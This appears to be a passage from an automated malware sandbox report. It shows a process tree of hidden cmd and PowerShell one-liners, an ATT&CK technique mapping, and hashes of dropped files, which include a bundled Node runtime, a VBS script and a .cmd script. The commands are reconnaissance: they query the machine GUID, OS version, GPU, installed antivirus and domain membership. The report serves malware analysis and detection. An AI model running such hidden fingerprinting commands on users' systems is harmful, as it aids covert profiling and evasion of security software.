        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:1272
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
        7⤵
        
        PID:2812
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5116
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
        7⤵
        Queries registry keys for unique system GUIDs
        
        PID:1648
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:3076
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_VideoController).Name -join ', '"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:6080
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2100
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "try { (Get-CimInstance -Namespace root/SecurityCenter2 -ClassName AntivirusProduct -EA Stop).displayName -join ', ' } catch { 'none' }"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:1236
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4280
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).Domain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:3152
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain""
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:4780
        
        C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -NoProfile -NonInteractive -WindowStyle Hidden -Command "(Get-WmiObject Win32_ComputerSystem).PartOfDomain"
        7⤵
        Command and Scripting Interpreter: PowerShell
        Suspicious behavior: EnumeratesProcesses
        
        PID:4532
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "net session"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:5932
        
        C:\Windows\system32\net.exe
        
        net session
        7⤵
        Suspicious use of WriteProcessMemory
        
        PID:6100
        
        C:\Windows\system32\net1.exe
        
        C:\Windows\system32\net1 session
        8⤵
        
        PID:4920
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:2196
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion" /v ProductName
        7⤵
        
        PID:1048
      - C:\Windows\system32\cmd.exe
        
        C:\Windows\system32\cmd.exe /d /s /c "reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid"
        6⤵
        Executes a command shell one-liner
        Suspicious use of WriteProcessMemory
        
        PID:404
        
        C:\Windows\system32\reg.exe
        
        reg query "HKLM\SOFTWARE\Microsoft\Cryptography" /v MachineGuid
        7⤵
        Queries registry keys for unique system GUIDs
        
        PID:5360

C:\Windows\system32\vssvc.exe
C:\Windows\system32\vssvc.exe
1⤵
- Checks SCSI registry key(s)
- Suspicious use of AdjustPrivilegeToken
PID:5356

C:\Windows\SysWOW64\cmd.exe
C:\Windows\SysWOW64\cmd.exe
1⤵
- System Location Discovery: System Language Discovery
PID:3904

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Visual Basic

T1059.005

Windows Command Shell

T1059.003

Persistence

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Privilege Escalation

Boot or Logon Autostart Execution

T1547

Registry Run Keys / Startup Folder

T1547.001

Event Triggered Execution

T1546

Installer Packages

T1546.016

Defense Evasion

System Binary Proxy Execution

T1218

Msiexec

T1218.007

Credential Access

Discovery

Peripheral Device Discovery

T1120

Query Registry

T1012

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

e590ca9.rbs

Path C:\Config.Msi\e590ca9.rbs
Size 8KB
SHA256 75367633215d1b3769acab639b5875f6874ad9508939a09024f08e61b39f0cdb
MD5 e2ff0d2fd40fcef06440a5a1dd2071ff
SHA1 77d02cd5c2f8794f3032fb383c9f33fce25743a5
SHA512 3bec3ed68bea1c7df9baf3641b1edd3f64aa750bc4339ac32839bee42e59757f2fcd022293513516ec17ca264a5fc77d602e126ea845fc7ce7d30894b28297ca
SSDEEP 96:jwHHJr7Mu9cp1Z6e1hsHURDzCsThqRURDzC6jen+afBpThqWH66u0I7FsNrLNeC1:jwna/KeM0luIlluxnHU7izponi
TLSH
T14612620175A0C5D2FCAA1B30875727403B76D3FAEE6273A708DD9624AF12789DB642C7
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

de64b5

Path C:\Users\Admin\AppData\Local\70da9180\de64b5
Size 60B
SHA256 570432277417526d8c1327e5db266e5930108a1f624d2b1b20b444dc091ebb50
MD5 a4287b3bf4473195bc70150e9d3a511e
SHA1 c39b88bc9a040a1ac4cb06d548502577f297c92f
SHA512 7b78f44746b8ffe942639e91beeabd6c70cec3e3f8ffffcaaa271c461b15229a7b62dc05c3c7d333a602aa18b4b9501c520e6fbced1cb24ac6ee35f03c847705
TLSH
T11EA00261C2670506D5A1752764796D2847A1755625805DEDB25F8963CA32C81D0D0710
MD5 SHA1 SHA512 TLSH

Submit Download

DeployFinalize.cmd

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\DeployFinalize.cmd
Size 7KB
SHA256 a3b644187cc615f8f1866a6c6d5c78116da86f55dfc9e332d01ca2099d97c18d
MD5 4469143959026af57133e2540f5b418f
SHA1 7e34696c71d60b4feb006a658489d257964523c5
SHA512 c87630bea9f2d3075fe59cf59b32a839524961deb644d8b85e024631aef1a2542db79ad2db4d0adaefe1a2310639f4580262f2e43c2775aa0b885808ba0a67de
SSDEEP 192:2Z1nvX7Pm3XLttdi5yvqXTdbHPhVSTWM3ECWXkWXwXDvC+UcyccyQ+:W1vuJSZ7P+aMUCWXkWXwXDvlcE/
TLSH
T17AE1A6B526A4B50E08BC5BA5163222C57F1BD10A3328FFE4E8999585F08F7513AFD3E4
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

ebs4HnHPwUzU.cfg

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\ebs4HnHPwUzU.cfg
Size 12KB
SHA256 2e733e4d49dec89e558936e5ebd570e5df53d9f57ed0adcef6eee442b54cc08f
MD5 d47fcda3253abe2aa325960fc8f03642
SHA1 9563798f6a8f60d446c8df9410d01019aad6c624
SHA512 ca3c997567300e04e1d0a0f3ebdfa3c46ad2596bf654a254992d117dac8583ee71b033b2ed2d5909188ede78c2667ca7c6b654dbecb43b115309c482222a3146
SSDEEP 384:2QuNKDCXk698Dt39h2V9p16+QMLn62MRBpjWwUvSgiwgmfV:2QOKD7698Dt39h+9/HQMLn62MRBpBUqM
TLSH
T11442B46E6F590056B20AB0BBAA308499D5D18E84E6CCDEDDFF0C3C69F965784C4F9310
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\@npmcli\query\LICENSE
Size 818B
SHA256 733dcbf5b1c95dc765b76db969b998ce0cbb26f01be2e55e7bccd6c7af29cb04
MD5 2916d8b51a5cc0a350d64389bc07aef6
SHA1 c9d5ac416c1dd7945651bee712dbed4d158d09e1
SHA512 508c5d1842968c478e6b42b94e04e0b53a342dfaf52d55882fdcfe02c98186e9701983ab5e9726259fba8336282e20126c70d04fc57964027586a40e96c56b74
TLSH
T14301128A62E62A9055D19F956DA2B89E61CCF0673903681430B4E24CDA7704AC07E414
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\@npmcli\run-script\LICENSE
Size 754B
SHA256 45e433413760dc3ae8169be5ed9c2c77adc31ad4d1bc5a28939576df240f29a0
MD5 d2cf52aa43e18fdc87562d4c1303f46a
SHA1 58fb4a65fffb438630351e7cafd322579817e5e1
SHA512 54e33d7998b5e9ba76b2c852b4d0493ebb1b1ee3db777c97e6606655325ff66124a0c0857ca4d62de96350dbaee8d20604ec22b0edc17b472086da4babbbcb16
TLSH
T1DC01208FB2E52AD454D19BA53DA1EC8961C9F0773D43AA0430B4E34CCBB780F98AB404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\@sigstore\sign\LICENSE
Size 11KB
SHA256 7b0ce3425a26fdba501cb13508af096ade77e4036dd2bd8849031ddecf64f7c9
MD5 dfc1b916d4555a69859202f8bd8ad40c
SHA1 fc22b6ee39814d22e77fe6386c883a58ecac6465
SHA512 1fbe6bb1f60c8932e4dcb927fc8c8131b9c73afd824ecbabc2045e7af07b35a4155a0f8ad3103bf25f192b6d59282bfc927aead3cb7aaeb954e1b6dbd68369fa
SSDEEP 192:qf9qG4QSAVOSbwF1wOFXuFJyQtxmG3ep/7rlzKfHbxc+Xq0rhlkT8cHfH2:kOu9b01DY/rGBt+dc+aclkT8cH+
TLSH
T1B932722BBA4903771AF20162AB4764CEF31EA03F37591525315CC1682F7B96183FB69E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

witness.js

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\@sigstore\sign\dist\witness\witness.js
Size 79B
SHA256 ef1f170ad28f2d870a474d2f96ae353d770fff5f20e642cd8f9b6f1d7742df13
MD5 24563705cc4bb54fccd88e52bc96c711
SHA1 871fa42907b821246de04785a532297500372fc7
SHA512 2ce8d2cf580623358fef5f4f8925d0c9943a657c2503c80048ca789bf16eacdb980bfc8aaaa50101a738e939926fcf2545500484dcad782c700ee206d8c6f9b9
TLSH
T1C4A01201A934C5F1038000C44525E0C1A0C10432006528A55BA84D65440088C5050001
MD5 SHA1 SHA512 TLSH

Submit Download

license

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\ansi-styles\license
Size 1KB
SHA256 fcf1a18be2e25ba82acf2c59821b030d8ee764e4e201db6ef3c51900d385515f
MD5 b862aeb7e1d01452e0f07403591e5a55
SHA1 b8765be74fea9525d978661759be8c11bab5e60e
SHA512 885369fe9b8cb0af1107ee92b52c6a353da7cf75bc86abb622e2b637c81e9c5ffe36b0ac74e11cfb66a7a126b606fe7a27e91f3f4338954c847ed2280af76a5f
TLSH
T1A821961E72551363186613E069A9ACC5B32BB11F7DAF5684286DF248633746CD4FB844
MD5 SHA1 SHA512 TLSH

Submit Download

license

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\env-paths\license
Size 1KB
SHA256 67292c32894c8ac99db06ffa1cb8e9a5171ef988120723ebe673bf76712260ec
MD5 5ad87d95c13094fa67f25442ff521efd
SHA1 01f1438a98e1b796e05a74131e6bb9d66c9e8542
SHA512 7187720ccd335a10c9698f8493d6caa2d404e7b21731009de5f0da51ad5b9604645fbf4bc640aa94513b9eb372aa6a31df2467198989234bc2afbce87f76fbc3
TLSH
T18521961D72551363186613A069A9ACC5B32BB11F7DAF5684286DF248633746CD4FB844
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\ignore-walk\LICENSE
Size 780B
SHA256 3f24d692d165989cd9a00fe35ca15a2bc6859e3361fa42aa20babd435f2e4706
MD5 b020de8f88eacc104c21d6e6cacc636d
SHA1 20b35e641e3a5ea25f012e13d69fab37e3d68d6b
SHA512 4220617e29dd755ad592295bc074d6bc14d44a1feeed5101129669f3ecf0e34eaa4c7c96bbc83da7352631fa262baab45d4a370dad7dabec52b66f1720c28e38
TLSH
T1D501418FB2A12A8414D09B643DA1EC8971C9F03B3C43AA153074E258C7BB80F947A400
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\libnpmpublish\LICENSE
Size 730B
SHA256 2ef361317adeda98117f14c5110182c28eae233af1f7050c83d4396961d14013
MD5 072ac9ab0c4667f8f876becedfe10ee0
SHA1 0227492dcdc7fb8de1d14f9d3421c333230cf8fe
SHA512 f38fd6506bd9795bb27d31f1ce38b08c9e6f1689c34fca90e9e1d5194fa064d1f34a9c51d15941506ebbbcd6d4193055e9664892521b7e39ebcd61c3b6f25013
TLSH
T1C001D08FA2D12AD454D59F643DA1BD4861C9F17B7D43AB043074E358DB7744F986A404
MD5 SHA1 SHA512 TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\lru-cache\dist\commonjs\package.json
Size 28B
SHA256 58b55392b5778941e1e96892a70edc12e2d7bb8541289b237fbddc9926ed51bd
MD5 56368b3e2b84dac2c9ed38b5c4329ec2
SHA1 f67c4acef5973c256c47998b20b5165ab7629ed4
SHA512 d662bff3885118e607079fcbeedb27368589bc0ee89f90b9281723fa08bda65e5a08d9640da188773193c0076ec0a5c92624673a6a961490be163e2553d6f482
MD5 SHA1 SHA512

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\lru-cache\dist\esm\package.json
Size 26B
SHA256 1bf0e53fc74b05f1aade7451fbac72f1944b067d4229d96bae7a225519a250e4
MD5 2324363c71f28a5b7e946a38dc2d9293
SHA1 7eda542849fb3a4a7b4ba8a7745887adcade1673
SHA512 7437cf8f337d2562a4046246fbfcc5e9949f475a1435e94efbc4b6a55880050077d72692cbc3413e0ccd8f36adf9956a6cc633a2adc85fbff6c4aa2b8edac677
MD5 SHA1 SHA512

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\minizlib\node_modules\minipass\LICENSE
Size 802B
SHA256 04400db77d925de5b0264f6db5b44fe6f8b94f9419ad3473caaa8065c525c0be
MD5 d7c8fab641cd22d2cd30d2999cc77040
SHA1 d293601583b1454ad5415260e4378217d569538e
SHA512 278ff929904be0c19ee5fb836f205e3e5b3e7cec3d26dd42bbf1e7e0ca891bf9c42d2b28fce3741ae92e4a924baf7490c7c6c59284127081015a82e2653e0764
TLSH
T15F01128FB295269419D09B943DA1AC8961C9F0773D43AE153074E248C7AB40EA47A404
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\minizlib\node_modules\minipass\index.js
Size 16KB
SHA256 7a395802fbe01bb3dc8d09586e0864f255874bf897378e546444fbaec29f54c5
MD5 bc0c0eeede037aa152345ab1f9774e92
SHA1 56e0f71900f0ef8294e46757ec14c0c11ed31d4e
SHA512 5f31251825554bf9ed99eda282fa1973fcec4a078796a10757f4fb5592f2783c4ebdd00bdf0d7ed30f82f54a7668446a372039e9d4589db52a75060ca82186b3
SSDEEP 384:PjFrIA8zJ08TEcGpIuqbI0WXsJY+cHK+34x2WkFUasBq7BmDWC:PjFrIKf8JKjV0DJ
TLSH
T196722F552B9E61229373B77ADD47900FE722141B393F5014B8AC46D02FB99B48B38EF9
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

package.json

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\minizlib\node_modules\minipass\package.json
Size 1KB
SHA256 c3052bd85910be313e38ad355528d527b565e70ef15a784db3279649eee2ded5
MD5 d116a360376e31950428ed26eae9ffd4
SHA1 192b8e06fb4e1f97e5c5c7bf62a9bff7704c198b
SHA512 5221c7648f4299234a4637c47d3f1eb5e147014704913bc6fdad91b9b6a6ccc109bced63376b82b046bb5cad708464c76fb452365b76dbf53161914acf8fb11a
TLSH
T1AB217927DD589D7715B52760A8781603F2635B2F20348C0B75F6012E9FB392B0099BAC
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE.md

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\npm-pick-manifest\LICENSE.md
Size 771B
SHA256 b49c8d25a8b57fa92b2902d09c4b8a809157ee32fc10d17b7dbb43c4a8038f79
MD5 e9dc66f98e5f7ff720bf603fff36ebc5
SHA1 f2b428eead844c4bf39ca0d0cf61f6b10aeeb93b
SHA512 8027d65e1556511c884cb80d3c1b846fc9d321f3f83002664ad3805c4dee8e6b0eaf1db81c459153977bdbde9e760b0184ba6572f68d78c37bff617646bcfc3b
TLSH
T15F01259A62E56DF46DD19F806DF1B98D70CCF076BC47A91530A8E258C7B704F88AE414
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\promise-all-reject-late\LICENSE
Size 763B
SHA256 1fccd0ad2e7e0e31ddfadeaf0660d7318947b425324645aa85afd7227cab52d7
MD5 7428aa9f83c500c4a434f8848ee23851
SHA1 166b3e1c1b7d7cb7b070108876492529f546219f
SHA512 c7f01de85f0660560206784cdf159b2bdc5f1bc87131f5a8edf384eba47a113005491520b0a25d3cc425985b5def7b189e18ff76d7d562c434dc5d8c82e90cce
TLSH
T14701F18FB2A16A9454D19B653DA1ED8961CDF0373D43AA143075E258C77780FA46A404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\treeverse\LICENSE
Size 771B
SHA256 24b8d53712087b867030d18f2bd6d1a72c78f9fb4dee0ce025374da25e4443b9
MD5 1d7c74bcd1904d125f6aff37749dc069
SHA1 21e6dfe0fffc2f3ec97594aa261929a3ea9cf2ab
SHA512 b5ac03addd29ba82fc05eea8d8d09e0f2fa9814d0dd619c2f7b209a67d95b538c3c2ff70408641ef3704f6a14e710e56f4bf57c2bb3f8957ba164f28ee591778
TLSH
T14801F18FB2D52A9454D19B653DA1EC8961C9F0773D43AA0530B4E248C7AB40F95BA404
MD5 SHA1 SHA512 TLSH

Submit Download

LICENSE-MIT.txt

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\LICENSE-MIT.txt
Size 1KB
SHA256 f996f6e050e6fc18086162b4b44e301bba345c87deca83f57a27e6d54195556e
MD5 e0be9e751faf84fbb7c61c63af745e32
SHA1 48e53e2b46d48cc6ea16f03ab1ecb69a86f5db0b
SHA512 6686277ceafd63dc89b17315c43134098cd131d16c7d42fad82cee5b7c78e4aa1f7cb199db352b9e54adb3f09dc77b1dc6665a5667c4ab8b3639fa254e20ecce
TLSH
T1D211895FB261137B1C66139069A4AC85B36B715BBDFF2384345DF244231A468D9F7C04
MD5 SHA1 SHA512 TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\es2015\index.js
Size 17KB
SHA256 77f404d608e2a98f2a038a8aa91b83f0a6e3b4937e5de35a8dae0c23aa9ee573
MD5 cf8f16c1aa805000c832f879529c070c
SHA1 54cc4d6c9b462ad2de246e28cd80ed030504353d
SHA512 a786e51af862470ae46ad085d33281e45795c24897e64b2c4b265302fa9cbfa47b262ec188adbc80d51cfc6ba395b500c0d7f5d343ca4fc2b828eaedba4bd29a
SSDEEP 192:4uyCa20qNgG/kFBEKT4BlvFuTMS8Z4wZQZotVNZl8b2vKO9XuLYRfTAkCwtU1kIz:4ng4LYVNn8b8K+eLWD7GxusJ/DdVd5
TLSH
T1C572C0BC008846963D2DE0D4AF74EAD62A8D4B4A240CD3365F9BF83776C64F4ED994E1
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

index.js

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\node-v18.20.5-win-x64\node_modules\npm\node_modules\wrap-ansi\node_modules\emoji-regex\index.js
Size 15KB
SHA256 5b3c0ac6483d83e6c079f9ffd1c7a18e883a9aaeaedb2d65dd9d5f78153476b9
MD5 9841536310d4e186a474dfa2acf558cd
SHA1 33fabbcc5e1adbe0528243eafd36e5d876aaecaa
SHA512 b67680a81bb4b62f959ba66476723eb681614925f556689e4d7240af8216a49f0d994c31381bf6a9489151d14ed8e0d0d4d28b66f02f31188059c9b24aaa3783
SSDEEP 96:49tOjllm4Uh4zutkZyhRA4JUraRFsw7ZpqsFRatj9Fnkz+jmS0WVJK4m1io++QdO:4bzTgMU4GgawCZleYwZG038i
TLSH
T10362C0B08521BE6634B2001B9D545B1FF0A8954BE962EF3797ACF19EB345131CAC36F8
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

regehcnws.vbs

Path C:\Users\Admin\AppData\Local\M4pW9Xx5uRQP\regehcnws.vbs
Size 417B
SHA256 f30c15636461e86c09ff29c87020801bf48948eee24f16424cec179b48d666bf
MD5 d8b338b91d56d2b24e2c0db106c58cd5
SHA1 635b57117217cbc230d377f7042482f3be0d0927
SHA512 1e6dd290798b3efb29fad334fad1ed4f016afabd33e22c033716aeba0f26e802d6473df672430038fbccd01605f0c033c69fc3f4d01edbf15985a8ad339e3f74
TLSH
T146E0234DFD5DD173029142473763CE1ABF606DB9F41664CF255CC44510011990E52525
MD5 SHA1 SHA512 TLSH

Submit Download

powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 8ef7a682dfd99ff5b7e9de0e1be43f0016d68695a43c33c028af2635cc15ecfe
MD5 440cb38dbee06645cc8b74d51f6e5f71
SHA1 d7e61da91dc4502e9ae83281b88c1e48584edb7c
SHA512 3aab19578535e6ba0f6beb5690c87d970292100704209d2dcebddcdd46c6bead27588ef5d98729bfd50606a54cc1edf608b3d15bef42c13b9982aaaf15de7fd6
TLSH
T1A351EE323375B1E888167F071E681A8053BF4355EA94AF1CB698621ED93641B9F222F3
MD5 SHA1 SHA512 TLSH

Submit Download